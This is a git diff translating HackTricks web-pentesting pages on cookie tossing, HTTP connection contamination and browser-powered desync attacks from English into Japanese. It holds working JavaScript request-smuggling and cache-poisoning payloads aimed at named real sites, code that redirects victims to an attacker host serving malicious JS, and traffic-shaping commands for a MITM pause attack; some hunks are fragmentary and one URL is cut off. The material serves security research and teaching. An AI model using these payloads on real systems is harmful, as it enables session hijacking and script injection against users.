Cookieの順序 -When a browser receives two cookies with the same name **partially affecting the same scope** (domain, subdomains and path), the **browser will send both values of the cookie** when both are valid for the request. +ブラウザが同じ名前の2つのcookieを受け取った場合、**同じスコープ(ドメイン、サブドメイン、パス)に部分的に影響を与える場合、ブラウザは両方のcookieの値を送信します**。 -Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` +最も**具体的なパスを持つもの**または**最も古いもの**によって、ブラウザは**最初にcookieの値を設定**し、その後に他のcookieの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path. +ほとんどの**ウェブサイトは最初の値のみを使用**します。したがって、攻撃者がcookieを設定する場合は、他のcookieが設定される前に設定するか、より具体的なパスで設定する方が良いです。 {% hint style="warning" %} -Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**. +さらに、**より具体的なパスでcookieを設定**できる能力は非常に興味深いです。これにより、**被害者は自分のcookieで作業できるようになりますが、悪意のあるcookieが送信されるパスでは、そのcookieが先に送信されます**。 {% endhint %} -## Protection Bypass +## 保護のバイパス -Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**. +この攻撃に対する可能な保護策は、**ウェブサーバーが2つの異なる値を持つ同じ名前のcookieを受け入れない**ようにすることです。 -To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**. +攻撃者が被害者にすでにcookieが与えられた後にcookieを設定しているシナリオをバイパスするために、攻撃者は**cookieオーバーフロー**を引き起こし、その後、**正規のcookieが削除された後に悪意のあるcookieを設定**することができます。 {% content-ref url="cookie-jar-overflow.md" %} [cookie-jar-overflow.md](cookie-jar-overflow.md) {% endcontent-ref %} -Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies. +また、**バイパス**に役立つもう1つの方法は、**cookieの名前をURLエンコード**することです。一部の保護は、リクエスト内の同じ名前の2つのcookieをチェックし、サーバーがcookieの名前をデコードするため、名前のエンコードをチェックします。 ## Cookie Bomb -A Cookie Tossing attack may also be used to perform a **Cookie Bomb** attack: +Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用できます: {% content-ref url="cookie-bomb.md" %} [cookie-bomb.md](cookie-bomb.md) {% endcontent-ref %} -## Defense**s** +## 防御策 -### **Use the prefix `__Host` in the cookie name** +### cookie名に接頭辞`__Host`を使用する -* If a cookie name has this prefix, it **will only be accepted** in a Set-Cookie directive if it is marked Secure, was sent from a secure origin, does not include a Domain attribute, and has the Path attribute set to / -* **This prevents subdomains from forcing a cookie to the apex domain since these cookies can be seen as "domain-locked"** +* cookie名にこの接頭辞がある場合、それは**Secureにマークされ、セキュアなオリジンから送信され、Domain属性を含まず、Path属性が/に設定されている**場合にのみ、Set-Cookieディレクティブで受け入れられます。 +* **これにより、サブドメインがcookieをapexドメインに強制することができなくなります。これらのcookieは「ドメインロックされた」と見なされる可能性があります。** -## References +## 参考文献 * [**@blueminimal**](https://twitter.com/blueminimal) -* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers) -* [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-mon +- [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[テレグラムグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)。 +- ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 diff --git a/pentesting-web/http-connection-contamination.md b/pentesting-web/http-connection-contamination.md index 617e9cacb..afadbac1e 100644 --- a/pentesting-web/http-connection-contamination.md +++ b/pentesting-web/http-connection-contamination.md @@ -1,25 +1,24 @@ -# HTTP Connection Contamination +# HTTP接続の汚染
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**The content of this post was taken from** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\* +**この投稿の内容は** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination) **から取得されました**\*\*\*\* -Web browsers use [**HTTP connection coalescing**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), which lets them **reuse** a single **HTTP/2+** **connection** for requests going to **different websites**, provided that the sites **resolve to the same IP** address and use a TLS certificate valid for both hostnames. +Webブラウザは、異なるウェブサイトに向けたリクエストに対して、同じIPアドレスに解決し、両方のホスト名に対して有効なTLS証明書を使用する場合、**HTTP接続の結合**を使用します。 -**First-request routing** is a dangerous reverse-proxy behaviour where the **proxy analyses the first request** on a connection to work out **which back-end end** to route it to, and then **sends** all **subsequent requests** on that connection to the **same back-end**. - -**Connection coalescing and first-request routing do not play well together**. For example, imagine secure.example.com and wordpress.example.com are both sat behind a reverse proxy using a certificate valid for \*.example.com: +**最初のリクエストのルーティング**は、リバースプロキシの危険な動作であり、**プロキシが接続の最初のリクエストを分析**して、それをどのバックエンドにルーティングするかを判断し、その後のすべてのリクエストを**同じバックエンド**に送信します。 +**接続の結合と最初のリクエストのルーティングはうまく動作しません**。例えば、secure.example.comとwordpress.example.comが両方ともリバースプロキシの背後にあり、\*.example.comに対して有効な証明書を使用している場合を想像してください。 ```shell-session $ nslookup wordpress.example.com 52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing @@ -30,9 +29,7 @@ $ nslookup secure.example.com $ openssl s_client -connect x.portswigger-labs.net:443 subject=/CN=*.example.com // wildcard TLS certificate ``` - -If a browser tries to send a **request to wordpress.example.com** **followed by secure.example.com**, browser connection coalescing will force **both requests down a single connection** to the front-end. First-request routing will result in the **request to secure.example.com incorrectly being routed to the WordPress back-end**. This means that if you find [XSS](https://portswigger.net/web-security/cross-site-scripting) on wordpress.example.com, you can use it to compromise secure.example.com! - +もしブラウザが**wordpress.example.comにリクエストを送信した後にsecure.example.comにリクエストを送信**しようとする場合、ブラウザの接続統合により、**両方のリクエストが1つの接続に強制的に統合**されます。最初のリクエストのルーティングにより、**secure.example.comへのリクエストが誤ってWordPressのバックエンドにルーティング**されます。つまり、wordpress.example.comで[XSS](https://portswigger.net/web-security/cross-site-scripting)を見つけた場合、それを使用してsecure.example.comを侵害することができます! ```javascript // create HTTP/2+ connection fetch('https://wordpress.example.com/', {credentials: 'include'}) @@ -43,8 +40,7 @@ fetch('https://wordpress.example.com/', {credentials: 'include'}) // exposing saved passwords, cookies, etc. location='https://secure.example.com/plugin/x?q= HTTP/1.1\r\nX: Y`, - credentials: 'include', - mode: 'cors' // throw an error instead of following redirect +method: 'POST', +// use a cache-buster to delay the response +body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`, +credentials: 'include', +mode: 'cors' // throw an error instead of following redirect }).catch(() => { - location = 'https://www.capitalone.ca/' +location = 'https://www.capitalone.ca/' })va ``` +説明: -Explanation: +* /assetsでのCL.0の悪用(/assets/にリダイレクトし、CLをチェックしない) +* HEADリクエストをスマグル(HEADのレスポンスにはまだcontent-lengthが含まれているため) +* ペイロードでレスポンスに反映されるGETリクエストをスマグルする +* HEADリクエストのcontent-lengthのため、このリクエストのレスポンスはHEADリクエストの本文になる +* corsモードを設定する。通常は行われないが、この場合、サーバーの応答は初期のPOSTに対するリダイレクトであり、それに従うとエクスプロイトは機能しない。したがって、corsモードを使用してエラーをトリガーし、被害者を`catch`でリダイレクトする。 -* **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL) -* **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length) -* **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload. - * Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req** -* Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**. - -### **Host header redirect + client-side cache poisoning** - -* **JS exploit** +### ホストヘッダーリダイレクト+クライアントサイドキャッシュポイズニング +* JSエクスプロイト ```javascript fetch('https://redacted/', { - method: 'POST', - body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", - credentials: 'include'} +method: 'POST', +body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", +credentials: 'include'} ).catch(() => { location='https://redacted/+CSCOE+/win.js' }) ``` +* `/+webvpn+/`へのリクエストは、Hostヘッダー内の**異なるドメイン**で**リダイレクト**され、その**ドメイン**内の`/+webvpn+/index.html`にリダイレクトされます。 +* **2番目**のリクエストの場所は、`.js`ファイルの**キャッシュ**を**汚染**するために`/+CSCOE+/win.js`に設定されます。 +* このリクエストは、`/+webvpn+/`へのリダイレクトが攻撃者のドメインにパス`/+webvpn+/index.html`で応答されます。 +* **`win.js`**の**キャッシュ**は、**攻撃者**のページへの**リダイレクト**で**汚染**されますが、`location`変数で割り当てられたため、**被害者**もリダイレクトに**従い**、攻撃者のウェブページに到達します。 +* 攻撃者はその後、**被害者**を`https://redacted/+CSCOE+/logon.html`に**リダイレクト**します。このページは`/+CSCOE+/win.js`をインポートします。その**キャッシュは攻撃者**のサーバーへの**リダイレクト**であるため、攻撃者は**悪意のあるJS**で応答することができます。 -* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header. -* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file. - * This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html` -* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page. -* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**. - -The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one: - +**被害者**は**攻撃者**のページに**2回アクセス**します。最初のアクセスでは、被害者は`https://redacted/+CSCOE+/logon.html`にリダイレクトする**HTML**を期待し、2回目のアクセスでは**JavaScriptコード**(ペイロード)を期待します。ポリグロットを使用して、両方の応答を1つの応答で提供することができます。 ``` HTTP/1.1 200 OK Content-Type: text/html alert('oh dear')/**/ ``` +### HEADペイロードとチャンク化されたTE -### HEAD payload with chunked TE +CSDを探す際には、`/..%2f`や`/%2f`のような**半正常な**URLもテストすることができます。 -When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`. - -* **Coloured Exploit** +* **カラーのエクスプロイト** ![](<../../.gitbook/assets/image (5) (2) (1).png>) -* **JS Exploit** - +* **JSエクスプロイト** ```javascript -fetch('https://www.verisign.com/%2f', { - method: 'POST', - body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, - credentials: 'include', - headers: {'Content-Type': 'application/x-www-form-urlencoded' +fetch('https://www.verisign.com/%2f', { +method: 'POST', +body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, +credentials: 'include', +headers: {'Content-Type': 'application/x-www-form-urlencoded' }}).catch(() => { - let form = document.createElement('form') - form.method = 'POST' - form.action = 'https://www.verisign.com/robots.txt' - form.enctype = 'text/plain' - let input = document.createElement('input') - input.name = '0\r\n\r\nGET / HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n' - input.value = '' - form.appendChild(input) - document.body.appendChild(form) - form.submit() +let form = document.createElement('form') +form.method = 'POST' +form.action = 'https://www.verisign.com/robots.txt' +form.enctype = 'text/plain' +let input = document.createElement('input') +input.name = '0\r\n\r\nGET / HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n' +input.value = '' +form.appendChild(input) +document.body.appendChild(form) +form.submit() } ``` +* ページ **`/%2f`** にアクセスして、**CL.0** の脆弱性を **悪用** します。 +* **`Transfer-Encoding: chunked` ヘッダー** を使用して、**HEAD** リクエストをスマグリングします。 +* このヘッダーは、**サーバーがボディを含む HEAD リクエストを拒否するため**、このシナリオでは必要です。 +* 次に、ユーザーは、前の HEAD リクエストの **終了チャンク** と、**スマグリングされた新しいリクエスト**(JS ペイロードを含む)を含む POST を送信します。このリクエストは、レスポンスに **反映** されます。 +* したがって、ブラウザは **HEAD リクエストへのレスポンス** を、POST リクエストへのレスポンスとして扱い、2番目のスマグリングされたリクエストの **ユーザーの入力を反映した** レスポンスを **ボディ** に含みます。 -* The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability. -* A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**. - * This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**. -* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response. - * Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request. - -### Host header redirect + RC - -* **JS Exploit** +### ホストヘッダーリダイレクト + RC +* **JS 攻撃** ```html Start attack ``` +この場合も、**ホストヘッダ**の**リダイレクト**を利用して、**JS**のインポートを**乗っ取る**ことができます。ただし、今回は**リダイレクトがキャッシュされない**ため、クライアント側の**キャッシュの汚染**は選択肢にありません。 -In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option. - -Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\ -Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works. +したがって、攻撃は**被害者が脆弱なページにアクセス**するタイミングで、JSファイルの読み込み直前にソケットの**スマグリング接続**(この場合は3つ)を**改ざん**します。\ +**タイミング**が非常に**正確**である必要があるため、攻撃は動作するまで**各反復で新しいタブ**に対して行われます。 {% hint style="warning" %} -Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack. +この場合、`/meeting_testjs.cgi`が攻撃対象となりましたが、これは**404**を返す**Javascript**を**読み込んでいる**ため、キャッシュされていません。キャッシュされた**JSを攻撃しようとする他のシナリオ**では、新しい攻撃を開始する前にキャッシュから**JSが消えるのを待つ**必要があります。 {% endhint %} -Summary steps: +要約手順: -* Open a new window. -* Issue a harmless request to the target to establish a fresh connection, making timings more consistent. -* Navigate the window to the target page at /meeting\_testjs.cgi. -* 120ms later, create three poisoned connections using the redirect gadget. -* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS. -* If not, retry the attack. +* 新しいウィンドウを開く。 +* タイミングをより一貫性のあるものにするため、ターゲットに無害なリクエストを送信して新しい接続を確立する。 +* ウィンドウをターゲットページの/meeting\_testjs.cgiに移動する。 +* 120ms後、リダイレクトガジェットを使用して3つの改ざんされた接続を作成する。 +* 5ms後、/meeting\_testjs.cgiをレンダリングしている間に、被害者は/appletRedirect.jsをインポートしようと試み、x.psres.netにリダイレクトされ、悪意のあるJSが提供されることを期待します。 +* もし成功しなければ、攻撃を再試行します。 -## Pause-based desync +## ポーズに基づく非同期化 -Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**. +ポーズをかけることで、**誤ったリクエストタイムアウトの実装を誘発**し、新たな非同期化の脆弱性を作り出すこともできます。 -So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**. +したがって、攻撃者は**ボディが存在することを示すヘッダを含むリクエストを送信**し、**フロントエンドがボディを送信する前にタイムアウトするのを待ちます**。フロントエンドがタイムアウトしても**接続を開いたままにする**場合、そのリクエストの**ボディ**は**新しいリクエスト**として扱われます。 -### Example: **Varnish** - -Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder: +### 例:**Varnish** +Varnishキャッシュには、リクエストをバックエンドに転送せずに**レスポンスを発行**する`synth()`という機能があります。以下は、フォルダへのアクセスをブロックするために使用されるルールの例です: ```javascript if (req.url ~ "^/admin") { - return (synth(403, "Forbidden")); +return (synth(403, "Forbidden")); } ``` +部分リクエストを処理する際に、Varnishは合成ルールに一致する場合、データを受信しない場合には**15秒間**タイムアウトします。これが発生すると、Varnishはソケットからリクエストの半分しか読み取っていないにもかかわらず、接続を再利用するために**接続を開いたままにします**。つまり、クライアントがHTTPリクエストの**後半を送信すると、新しいリクエスト**として解釈されます。 -When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**. - -To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request: +脆弱なフロントエンドで一時停止ベースのデシンクをトリガーするには、ヘッダーを送信し、ボディを約束してから待機します。最終的にはレスポンスを受け取り、リクエストボディを送信すると、それが新しいリクエストとして解釈されます。 ![](<../../.gitbook/assets/image (4) (3) (1).png>) {% hint style="warning" %} -Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html). +2022年1月25日に[CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html)として修正されたようです。 {% endhint %} -### Example: **Apache** +### 例: **Apache** -Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en` +Varnishと同様に、アプリケーションがリクエストを処理するのではなく、サーバー自体がレスポンスを生成する**エンドポイント**で脆弱です。サーバーレベルのリダイレクトでもこれが発生します: `Redirect 301 / /en` -### Server-side Exploitation +### サーバーサイドの攻撃 -If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed. +脆弱なサーバー(この場合はApacheまたはVarnish)がバックエンドにある場合、バックエンドサーバー(この場合はHTTPヘッダー)にリクエストを**バッファリングせずにストリーミングする**フロントエンドが必要です。 ![](<../../.gitbook/assets/image (3) (3).png>) -In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem. +この場合、攻撃者は**ボディを送信するまでレスポンスのタイムアウトを受け取りません**。しかし、タイムアウトを知っていれば、これは問題ありません。 -Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here: +AmazonのApplication Load Balancer(ALB)は、必要に応じて接続のデータを**ストリーミング**しますが、**ボディ**を受け取る**前に**半分のリクエスト(タイムアウト)の**レスポンス**を受け取ると、**ボディ**を送信しないため、ここで**競合状態**を利用する必要があります。
-There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours. +**ApacheをALBの背後で攻撃する場合**、両方のサーバーにはデフォルトで**60秒のタイムアウト**が設定されています。したがって、リクエストの2番目の部分を送信するための**非常に短い時間枠**が残されます。RC攻撃は最終的に66時間後に成功しました。 -### MITM Exploitation +### MITM攻撃 -It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic. +ブラウザからのリクエストを一時停止してPause-desyncの脆弱性を悪用することは**できないようです**。ただし、ブラウザが送信するリクエストを一時停止するためには、常に**MITM攻撃を実行**することができます。この攻撃は、トラフィックを復号化することなく行われるため、注意が必要です。 -The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**. - -From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding: +攻撃フローは、通常のクライアントサイドデシンク攻撃と非常に**似ています**。ユーザーは攻撃者が制御するページを訪れ、ターゲットアプリケーションに対して一連の**クロスドメインリクエスト**を発行します。**最初のHTTP**リクエストは意図的に**大きくパディングされているため、オペレーティングシステムはそれを複数のTCPパケットに分割**し、アクティブな**MITMが最後のパケットを遅延**させ、一時停止ベースのデシンクをトリガーします。パディングのおかげで、**攻撃者**は**サイズ**に基づいて**どのパケットを一時停止**するかを**特定**できます。 +クライアント側から見ると、リクエストのパディングを除いて、通常のクライアントサイドデシンクと同じように見えます。 ```javascript let form = document.createElement('form') form.method = 'POST' @@ -305,9 +289,7 @@ form.append(input) document.body.appendChild(form) form.submit() ``` - -On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm: - +攻撃者のシステムでの盲目的なMITM攻撃では、遅延はtc-NetEmを使用して実装されました。 ```bash # Setup tc qdisc add dev eth0 root handle 1: prio priomap @@ -322,19 +304,18 @@ flowid 1:3 # Delay flagged packets by 61 seconds tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s ``` +## **参考文献** -## **References** - -* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) +* この記事の情報は、[https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)から取得されました。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md index 230169a0b..c1d3b0132 100644 --- a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md +++ b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md @@ -1,154 +1,153 @@ -# Request Smuggling in HTTP/2 Downgrades +# HTTP/2ダウングレードにおけるリクエストスミグリング
